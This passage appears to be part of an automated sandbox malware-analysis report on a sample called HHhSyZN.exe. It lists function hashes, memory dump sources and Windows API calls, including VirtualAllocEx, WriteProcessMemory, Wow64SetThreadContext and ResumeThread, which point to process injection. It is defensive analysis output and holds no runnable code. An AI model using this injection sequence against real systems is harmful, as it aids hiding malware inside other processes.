Opcode Fuzzy Hash: a62ad147ef7918606d8a9f7bfa84cf7c54df1e86e1a3085588df60706d616167
Instruction Fuzzy Hash: 9841D2B0C00719DADB28CFA9C8486DDBBF5BF89304F20806AD418AB255DB756985CF90

Function 0988ADF0 Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,0988ADDD,?,?), ref: 0988AE8F

Memory Dump Source

Source File: 00000009.00000002.1777090043.0000000009880000.00000040.00000800.00020000.00000000.sdmp, Offset: 09880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9880000_HHhSyZN.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: a61e02a2e71c73f5e06c2e01a30ed1a1693bd9d62fcdf90e6e6613f71074587f
Instruction ID: 4240161992bf96ed988c503c806eefbc92a1afd93e32cb2ecf746d911ae39a5d
Opcode Fuzzy Hash: a61e02a2e71c73f5e06c2e01a30ed1a1693bd9d62fcdf90e6e6613f71074587f
Instruction Fuzzy Hash: 9431FFB5900209AFCB14CF9AD880ADEFBF5FB58320F14842EE819A7710D774A944CFA0

Function 0B2DC7E1 Relevance: 1.6, APIs: 1, Instructions: 72injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 0B2DC878

Memory Dump Source

Source File: 00000009.00000002.1778985591.000000000B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b2d0000_HHhSyZN.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 55dcbc4f20058430bcbc92065265ea597be98af16d682037bd071ddf09534d10
Instruction ID: 29d81afd19ec3473e6d2727dbd053062ced71c61864c005583a7f3ebb3eaeec9
Opcode Fuzzy Hash: 55dcbc4f20058430bcbc92065265ea597be98af16d682037bd071ddf09534d10
Instruction Fuzzy Hash: 842135B59002599FCF10CFA9C885BEEBFF1FF48310F10882AE959A7250C7789944CB64

Function 09889F84 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,0988ADDD,?,?), ref: 0988AE8F

Memory Dump Source

Source File: 00000009.00000002.1777090043.0000000009880000.00000040.00000800.00020000.00000000.sdmp, Offset: 09880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9880000_HHhSyZN.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 6cd0d416cc0137cd554e24ddbacdc722a3592df580ea861720390a141e713eff
Instruction ID: 8dc388c0adb19fb610da8a4fbba71971a90df1e865f73d5aba4d9db74b6dafbf
Opcode Fuzzy Hash: 6cd0d416cc0137cd554e24ddbacdc722a3592df580ea861720390a141e713eff
Instruction Fuzzy Hash: 793100B19002099FCB14DF9AD884A9EFBF8EF58320F14842EE919A7350D774A944CFA0

Function 0B2DC8D0 Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0B2DC958

Memory Dump Source

Source File: 00000009.00000002.1778985591.000000000B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b2d0000_HHhSyZN.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 968250af11767304c41504fb99c8198a488c7bcc94b8002a43c5fb4ad24f0086
Instruction ID: 33c4dd4cacc89f6960a4df0ed97a4a34131e681ca50308619b209e501bb54af8
Opcode Fuzzy Hash: 968250af11767304c41504fb99c8198a488c7bcc94b8002a43c5fb4ad24f0086
Instruction Fuzzy Hash: 7C2155B1910349DFCB10CFA9C880BEEBBF5FF48310F20842AE959A7250C7799945DBA4

Function 0B2DC7E8 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 0B2DC878

Memory Dump Source

Source File: 00000009.00000002.1778985591.000000000B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b2d0000_HHhSyZN.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 0526f83b06beadd113e6fba43d2b49db0aa414a382f413d977bfb73adb200a6f
Instruction ID: e4d33cb601fee1a4b3ad1929acaa54a69736596614395935382866151563bb76
Opcode Fuzzy Hash: 0526f83b06beadd113e6fba43d2b49db0aa414a382f413d977bfb73adb200a6f
Instruction Fuzzy Hash: C52125B19003599FCF10CFA9C885BDEBBF5FF48310F10882AE959A7250D7789944CBA4

Function 0B2DC648 Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0B2DC6CE

Memory Dump Source

Source File: 00000009.00000002.1778985591.000000000B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b2d0000_HHhSyZN.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: e8f0181101984bc3f5e6d361cf2596cbd4dbd282da15fe4ec26fd30fbfcce1c9
Instruction ID: fa79254d111c101803f1f9049d5a7b7a6c625a99d76ad00d5e8bfc8f45af4849
Opcode Fuzzy Hash: e8f0181101984bc3f5e6d361cf2596cbd4dbd282da15fe4ec26fd30fbfcce1c9
Instruction Fuzzy Hash: 102137B19042498FDB10CFAAC4857EEBFF5EF88314F14842AD499A7241CB789985CFA4

Function 0B2DC8D8 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0B2DC958

Memory Dump Source

Source File: 00000009.00000002.1778985591.000000000B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b2d0000_HHhSyZN.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 49729967fdd508fd13bb5d5c245694a2118a145521a7fb8da7c5920d5185d416
Instruction ID: 2cd60d55a89d2cb6b3d9b1655b52db1853ed5f44d6520b8c5f6f041b00f0666a
Opcode Fuzzy Hash: 49729967fdd508fd13bb5d5c245694a2118a145521a7fb8da7c5920d5185d416
Instruction Fuzzy Hash: A32125B18002599FCB10DFAAC880BEEFBF5FF48320F10842AE559A7250C7389944CBA4

Function 0B2DC650 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0B2DC6CE

Memory Dump Source

Source File: 00000009.00000002.1778985591.000000000B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b2d0000_HHhSyZN.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 0f6837ffdc1c622a0613bb4bbfd62345b94e6aeafd2b515c027bda8f40f4d4ba
Instruction ID: 7da2b4c029795d26c9d717ef0359a1b60c6877a35f33fdd854041f51a9e76fbd
Opcode Fuzzy Hash: 0f6837ffdc1c622a0613bb4bbfd62345b94e6aeafd2b515c027bda8f40f4d4ba
Instruction Fuzzy Hash: AF2118B19102098FDB10DFAAC4857EEBBF4EF88324F14842AD459A7240CB789985CFA5

Function 0B2DC720 Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0B2DC796

Memory Dump Source

Source File: 00000009.00000002.1778985591.000000000B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b2d0000_HHhSyZN.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f4721721623c2b3f62d78f39621297fd55687a3d69f0ee02fb747b8216ea725c
Instruction ID: dfad811bac6ce04e1d0804acb94a2de553a889019f723f75220c22b57df69a23
Opcode Fuzzy Hash: f4721721623c2b3f62d78f39621297fd55687a3d69f0ee02fb747b8216ea725c
Instruction Fuzzy Hash: 70214A75800249DFDF10DFA9D845BDEBFF9EB48320F108819E559A7250C779A940CFA5

Function 0B2DFCF3 Relevance: 1.6, APIs: 1, Instructions: 55windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0B2DFD55

Memory Dump Source

Source File: 00000009.00000002.1778985591.000000000B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b2d0000_HHhSyZN.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: d3102f3cb772fd283488a9aabbbef6ceb2c8e7d1b9d2fbed4d11c4b9d889157d
Instruction ID: 557eef891ce940fe187141d977c8f5e5e8a6765b64f45d836dbdb45add4560b8
Opcode Fuzzy Hash: d3102f3cb772fd283488a9aabbbef6ceb2c8e7d1b9d2fbed4d11c4b9d889157d
Instruction Fuzzy Hash: 631156B5800289DFCB10DF99D984BDEBFF8FB48314F14845AD4AAA7601C375A944CFA4

Function 0B2DC728 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0B2DC796

Memory Dump Source

Source File: 00000009.00000002.1778985591.000000000B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b2d0000_HHhSyZN.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: db617593940eee7d9815c431567f8f61caa166b9ac753b27a28737d8da69152b
Instruction ID: d416b6cb362fd60fda7501c11bdedd90a1d36f5312a14ea11292da541559cd30
Opcode Fuzzy Hash: db617593940eee7d9815c431567f8f61caa166b9ac753b27a28737d8da69152b
Instruction Fuzzy Hash: 101137719002499FDF10DFAAC844BDEBFF5EF88324F10841AE559A7250CB75A544CFA4

Function 0B2DC599 Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 0B2DC602

Memory Dump Source

Source File: 00000009.00000002.1778985591.000000000B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b2d0000_HHhSyZN.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: c3489da8db416a6acca9e8a552366a039a5ee613f457a69104440743a80ed739
Instruction ID: adf6d3dd5e211d459802aa8806e7b73e3950fae94e387d3a26a4b4549cb31f07
Opcode Fuzzy Hash: c3489da8db416a6acca9e8a552366a039a5ee613f457a69104440743a80ed739
Instruction Fuzzy Hash: A6115BB1D002498FCB20DFAAC4857EEFFF4EB88324F20841EC459A7250CA355544CFA4

Function 0B2DC5A0 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 0B2DC602

Memory Dump Source

Source File: 00000009.00000002.1778985591.000000000B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b2d0000_HHhSyZN.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 96e61369fc52f7f9b07375ce2830f897925a32371d33a7502587274eee38f161
Instruction ID: ab0549f6a0cfd883dbe5c3bab2b989a6e6e359b1c1d33a41c31fa69792c476f1
Opcode Fuzzy Hash: 96e61369fc52f7f9b07375ce2830f897925a32371d33a7502587274eee38f161
Instruction Fuzzy Hash: 471136B1D002498FCB20DFAAC4457EEFFF4EB88324F20842AD459A7250CB75A944CFA4

Function 015EE700 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 015EE766

Memory Dump Source

Source File: 00000009.00000002.1768186902.00000000015E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_15e0000_HHhSyZN.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: ef2ad2bd1dcdb6c517598b509d9f041bb700cf40c73399ded088bcc5f5f91aa7
Instruction ID: 03681f641858c9117d5ea05eabb14c4027d4b550e9aad48365d35477a54a5f41
Opcode Fuzzy Hash: ef2ad2bd1dcdb6c517598b509d9f041bb700cf40c73399ded088bcc5f5f91aa7
Instruction Fuzzy Hash: 4F1110B6C003498FDB14CF9AC448ADEFBF8EB88324F10842AD559B7210C375A545CFA1

Function 0B2D93F8 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0B2DFD55

Memory Dump Source

Source File: 00000009.00000002.1778985591.000000000B2D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B2D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b2d0000_HHhSyZN.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 357175e02f79f692fb6e905f02da18767d691dd0747207115bc0fe60920ed9a8
Instruction ID: 9f52bd33d899e3c7aaa3a62feaf8d4e1593f3ed666dbaada5a633027aad1a8e0
Opcode Fuzzy Hash: 357175e02f79f692fb6e905f02da18767d691dd0747207115bc0fe60920ed9a8
Instruction Fuzzy Hash: 3C1136B5800349DFCB10CF89D588BDEFBF8EB48310F10841AE969A7250C375A940CFA4

Function 0ADA0007 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1777948182.000000000ADA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0ADA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ada0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc1b2c51e4586315f82fa098245cf6b37644c537e650a64c1ffea35a55f50a43
Instruction ID: 961a2017e01fccdadcb01dad49c5bd23d850b30906233a943b1ee188e276a263
Opcode Fuzzy Hash: bc1b2c51e4586315f82fa098245cf6b37644c537e650a64c1ffea35a55f50a43
Instruction Fuzzy Hash: 8A418F70E0A294DFCB02CFA5C8586EEBFB4AF5B301F0650A6D095E7292C7744948CF65

Function 0ADA0040 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1777948182.000000000ADA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0ADA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ada0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 889d2579a7d5d2340bc2a8b890b6068bddf574fa378d67fae30bec7f7ee159f4
Instruction ID: 7c4cf571f794a131f8dd1e7a802e2d090df65a634606602b034db0703d402d7a
Opcode Fuzzy Hash: 889d2579a7d5d2340bc2a8b890b6068bddf574fa378d67fae30bec7f7ee159f4
Instruction Fuzzy Hash: AD310470E05218DFDB14CFA9D4446FEBBF5BB59301F02946AD456B3240D7748A44CFA8

Function 0153D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1767912181.000000000153D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0153D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_153d000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88a723be36e932745371025a033e12219cbff0f2a7752b758b6c9c6c50fa0fc5
Instruction ID: 62648113fb14709b79491d605dd1c13f701a4e414074b78b46f7b154b8d56291
Opcode Fuzzy Hash: 88a723be36e932745371025a033e12219cbff0f2a7752b758b6c9c6c50fa0fc5
Instruction Fuzzy Hash: F121F272604240DFDB06DF58D9C0B2ABFB5FBC8318F64C569E9094F296C336D456CAA2

Function 0ADA1490 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1777948182.000000000ADA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0ADA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ada0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9cfd06cd3bb3d447c9885af2a96ce60092b8f4950d87d7bca41707bb352c490
Instruction ID: 8c60447e3821253d5c2fd91d7254119e0328d666c6eb61cd17316884d0c281df
Opcode Fuzzy Hash: e9cfd06cd3bb3d447c9885af2a96ce60092b8f4950d87d7bca41707bb352c490
Instruction Fuzzy Hash: D62117B5700A019FC364DF29C684A16B7F6FF89610B068669E51AC7BA0DB30FC41CF61

Function 0154D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1767958065.000000000154D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0154D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_154d000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce0b509f39addccd272d6c206c95ebcb4bff82ef4e97d4e96a9f543cb2d23bfd
Instruction ID: 819987d0dcdd664bf574aca0e9d0eb16479ab9b53ee855b2e890dd77a992bd97
Opcode Fuzzy Hash: ce0b509f39addccd272d6c206c95ebcb4bff82ef4e97d4e96a9f543cb2d23bfd
Instruction Fuzzy Hash: 48212971608200DFDB05DF98D5C4B2ABBB5FB94328F20CA6DE9094F356C33AD446CA61

Function 0154D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1767958065.000000000154D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0154D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_154d000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0f2850e61a50ea372a3ac79294fdf88b8fb16212374e44257e4924d7a3ea871
Instruction ID: 59779d206ab0971944b5c1cb7bd2520f71584f18c70210f72784e0c0c5705694
Opcode Fuzzy Hash: d0f2850e61a50ea372a3ac79294fdf88b8fb16212374e44257e4924d7a3ea871
Instruction Fuzzy Hash: A1210071604200DFCB15DF98D984B2ABBB5FB94318F20C96DD80E4F256D33AD446CA61

Function 0ADA1480 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1777948182.000000000ADA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0ADA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ada0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bc14685942ae4fd0f194e5132f81f0c8f0e80c03ed38c414369b4cb430532d3
Instruction ID: a00f8aa60d37b9ae34d41276af394f95823d11f5b9039c42a40339c76efea59b
Opcode Fuzzy Hash: 7bc14685942ae4fd0f194e5132f81f0c8f0e80c03ed38c414369b4cb430532d3
Instruction Fuzzy Hash: 42213B75200A009FC364DF2CD684A56BBF5FF89610B06466AE55AC7BA1DB30FC54CF61

Function 0154D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1767958065.000000000154D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0154D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_154d000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41e84cba84804d9039f37e384489e195bc9fc5d6162cef47cdb92d73bc79016e
Instruction ID: 3966d27414dbdae97ce26815676e8fce2a3aa6fd06d7803ba2653a8bd4bc0cbe
Opcode Fuzzy Hash: 41e84cba84804d9039f37e384489e195bc9fc5d6162cef47cdb92d73bc79016e
Instruction Fuzzy Hash: 602192755093808FDB13CF64D994715BF71FB46218F28C5DAD8498F2A7C33A980ACB62

Function 0ADA138F Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1777948182.000000000ADA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0ADA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ada0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6cee5dd401d8334a4385e907032fb45ae58c4f152d9518f2ac2fa7caadbdc6a
Instruction ID: 81e5f6f3b9d6a72d3baeec084f2edb586f56a1d1abb8aadd08fe1a3a553fa460
Opcode Fuzzy Hash: f6cee5dd401d8334a4385e907032fb45ae58c4f152d9518f2ac2fa7caadbdc6a
Instruction Fuzzy Hash: 40119A70E012068FDB14DF68C444AAFFBF1AF48300F16C1A9D418AB361D7359802CB90

Function 0ADA0970 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1777948182.000000000ADA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0ADA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ada0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d15c82448072fd46a48aa4d6da224eef4e33d812fd9f07261c92d5708de7b707
Instruction ID: c84ab0ba7e8ab7204accac74f461b9203604b32fd00ad1866029121e9062efdd
Opcode Fuzzy Hash: d15c82448072fd46a48aa4d6da224eef4e33d812fd9f07261c92d5708de7b707
Instruction Fuzzy Hash: 43110370E0120A8FCB18DFA9C444AAEF7F1AF48310F1A85A9E458AB361D7359901CB91

Function 0153D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1767912181.000000000153D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0153D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_153d000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: d818764784b7e1bfea52938df09c503264e41fca0dd264b50c801e5963e10a62
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 5D11E172504280CFCB02CF54D5C4B1ABF71FB84318F24C6A9D8090F256C33AD45ACBA1

Function 0154D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1767958065.000000000154D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0154D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_154d000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 1527725194f10179417fb46697a4f9e9a3d8838f26f5ab6c6f1a2dc85f0c0646
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 7811BB75508280DFDB02CF54C5C4B19BFB1FB84228F24C6AAD8494F296C33AD40ACB61

Function 0153D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1767912181.000000000153D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0153D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_153d000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6e95aa446ed086927c1cbd274816e6074c63885e02929a5fbbe8ec255b5d1cd
Instruction ID: 5ccd1cd5b7955436eea02cff9d8cb268069480134eab7da42e36ada664af1682
Opcode Fuzzy Hash: f6e95aa446ed086927c1cbd274816e6074c63885e02929a5fbbe8ec255b5d1cd
Instruction Fuzzy Hash: 92012B310083809AE7124E69CD84B6BBFF8FF81364F48C92AED594F286C639D840C671

Function 0153D744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1767912181.000000000153D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0153D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_153d000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a7a700fc7a6c4830fa10434968876edda5e123ecae28375fbf4ab17142f0705
Instruction ID: 533e800f10667a3fc7e1fc3b7eb4347e0f72b088a004d1171a5aa9f7e718df1b
Opcode Fuzzy Hash: 1a7a700fc7a6c4830fa10434968876edda5e123ecae28375fbf4ab17142f0705
Instruction Fuzzy Hash: 4CF06271404384AAEB118E1AC988B66FFB8FB81634F18C45AED484F286C2799844CAB1

Function 0ADA133F Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1777948182.000000000ADA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0ADA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ada0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a974348897fe56863d94f9775767d25e200ff1841d54ad0ef59d1281e44841a0
Instruction ID: 7d11cb7608bcba1849a335ead79a71a20f18291f763d260893c8fd21fa11b557
Opcode Fuzzy Hash: a974348897fe56863d94f9775767d25e200ff1841d54ad0ef59d1281e44841a0
Instruction Fuzzy Hash: 9BE0DFB5C00309AED741EFBA98013EFBFF1EB04600F018A66D090E7601DB7542018FA2

Function 0ADA1350 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1777948182.000000000ADA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0ADA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ada0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ed590b02c0581c4631052008b1e9a3abd38bdd9a839a5934040341b9cef792f
Instruction ID: 291a789b71ce3198714ef9afdf612220ef0b457292e1f4ec2a79bfbdcd839913
Opcode Fuzzy Hash: 0ed590b02c0581c4631052008b1e9a3abd38bdd9a839a5934040341b9cef792f
Instruction Fuzzy Hash: 3FD017B0C0030AEEDB40EFB988013AFBBF1AB04300F118A6AC054E2201EBB486048F91

Analysis Process: HHhSyZN.exePID: 7836, Parent PID: 7512COMMON

Execution Graph

Execution Coverage:	7.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	39
Total number of Limit Nodes:	6

Executed Functions

Function 06CA30E0 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06CA37DF
$^q, xrefs: 06CA3814
$^q, xrefs: 06CA382C
$^q, xrefs: 06CA37EB
$^q, xrefs: 06CA3808
$^q, xrefs: 06CA3838

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 21b159555bae137995d1f36b4959fbb82c9a090faaef5bfaf88ce3b34fea3f7e
Instruction ID: 282681d01954ea5c1db969ee9d77b5959e97e72eb34c04f412e48f6229eed60a
Opcode Fuzzy Hash: 21b159555bae137995d1f36b4959fbb82c9a090faaef5bfaf88ce3b34fea3f7e
Instruction Fuzzy Hash: 2E323031E1075A8FDB14DF75C85459DB7B6FFC9304F1086AAD409AB264EB30AD85CB81

Function 06CAB488 Relevance: .6, Instructions: 554COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26d28c3d84b97e1421b1a8523ce70d6661fda4fe16f437a84b13063182e2304d
Instruction ID: 973f995a55210cc880a1c6c1429dc7efe99ba6228d5117b529dc460768db0fec
Opcode Fuzzy Hash: 26d28c3d84b97e1421b1a8523ce70d6661fda4fe16f437a84b13063182e2304d
Instruction Fuzzy Hash: 42126E30E1030A8FEF64CF68C5947ADB7B6EB49314F24882AE409EB395DA35DD81CB51

Function 06CA91A0 Relevance: 5.2, Strings: 4, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06CA9257
$^q, xrefs: 06CA924B
$^q, xrefs: 06CA9210
$^q, xrefs: 06CA921C

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

